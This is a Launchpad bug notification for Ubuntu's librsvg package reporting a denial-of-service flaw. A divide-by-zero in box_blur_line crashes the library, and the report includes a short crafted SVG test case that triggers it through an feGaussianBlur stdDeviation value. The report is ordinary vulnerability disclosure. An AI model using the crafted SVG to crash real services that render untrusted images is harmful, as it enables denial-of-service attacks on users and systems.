** Information type changed from Private Security to Public Security
** Changed in: librsvg (Ubuntu)
Status: New => Confirmed
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Touch seeded packages, which is subscribed to librsvg in Ubuntu.
https://bugs.launchpad.net/bugs/1697283
Title:
Denial of Service Vulnerability in Librsvg
Status in librsvg package in Ubuntu:
Confirmed
Bug description:
An SIGFPE is raised in function box_blur_line of rsvg-filter.c when
the librsvg try to parse a craft SVG file.
https://github.com/GNOME/librsvg/blob/master/rsvg-filter.c#L1439
if (output >= 0)
dest[bpp * output + i] = (ac[i] + (coverage >> 1)) / coverage;
}
The coverage could be zero.
testcase.svg
<svg width="100" height="120"
xmlns="http://www.w3.org/2000/svg";
xmlns:xlink="http://www.w3.org/1999/xlink";>
<filter id="blurMe">
<feGaussianBlur in="SourceGraphic" stdDeviation="0.053192302807822195 20"
/>
</filter>
<circle cx="50" cy="50" r="50" fill="green"
filter="url(#blurMe)" />
</svg>
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